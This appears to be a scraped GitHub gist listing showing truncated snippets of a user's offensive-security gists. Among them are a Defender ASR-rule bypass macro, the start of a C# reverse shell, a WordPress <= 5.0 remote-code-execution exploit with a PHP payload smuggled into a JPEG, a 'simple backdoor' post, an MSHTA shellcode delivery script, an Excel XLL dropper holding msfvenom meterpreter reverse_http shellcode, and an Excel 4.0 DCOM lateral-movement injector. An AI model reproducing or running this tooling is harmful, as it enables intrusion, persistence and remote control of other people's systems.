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boh / dcom.c
Created December 28, 2018 17:49
Calling DCOM/COM+ methods in C.
#define _CRT_SECURE_NO_WARNINGS
#include <ole2.h> // OLE2 Definitions
#include <Windows.h>
#include <stdio.h>
HRESULT AutoWrap(int autoType, VARIANT *pvResult, IDispatch *pDisp, LPOLESTR ptName, int cArgs...) {
va_list marker;
va_start(marker, cArgs);
if (!pDisp) {
@boh
boh / ASR Rules Bypass.vba
Created January 13, 2019 22:25 — forked from infosecn1nja/ASR Rules Bypass.vba
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
@boh
boh / MonitorMayhem.ps1
Created January 15, 2019 20:22 — forked from M3T4L5T3F/MonitorMayhem.ps1
Monitor Mayhem - Test if users are likely to report a possible malfunction or compromise with physical symptoms
# By @M3T4L5T3F
# Change values to different experience. Works on laptops. Future update will add desktop monitor support
$i=0
While ($true)
{
$i++
$brightness = Get-Random -Maximum 25
$delay = 0
@boh
boh / Get-KerberosKeytab.ps1
Created February 17, 2019 07:21 — forked from 0xhexmex/Get-KerberosKeytab.ps1
Parses Kerberos Keytab files
param(
[Parameter(Mandatory)]
[string]$Path
)
#Created by Pierre.Audonnet@microsoft.com
#
#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
#
# keytab {
@boh
boh / Server.cs
Created March 3, 2019 06:27 — forked from MinatoTW/Server.cs
Sample reverse shell code for HTB Giddy.
using System;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;
class Server {
@boh
boh / wordpress-rce.js
Created March 3, 2019 12:51 — forked from allyshka/wordpress-rce.js
WordPress <= 5.0 exploit code for CVE-2019-8942 & CVE-2019-8943
var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
@boh
boh / blog.txt
Created March 31, 2019 20:50
Gist Blog - Inside Out, Simple backdoors
From the inside out, a minimalist backdoor.
I'm a pretty big fan of simple, and elegant. In this gist blog, I'll show you a very simple way to maintain access to a remote system that is behind a FireWall, NAT and VPN.
We will use in this example 3 tools.
1. Node
2. PowerShell
3. LocalTunnel
While I have a full compact, custom version, I will not release this.
@boh
boh / TestMSHTAShellcodeDelivery.ps1
Created April 11, 2019 02:54
MSHTA Test For Defenders - hosts hta in PowerShell, connected remotely and execute.
<#
Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta
To change your server, simply find and replace 192.168.1.1 with your server in the code.
#>
<#
Moving Credtis for CACTUSTORCH HERE
I was in escape sequcence hell ;-)
' ( ) ( )
// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c"
unsigned char b[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
<#
Lateral movement and shellcode injection via Excel 4.0 macros
Author: Philip Tsukerman (@PhilipTsukerman)
License: BSD 3-Clause
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM
#>
function Invoke-ExShellcode
{
<#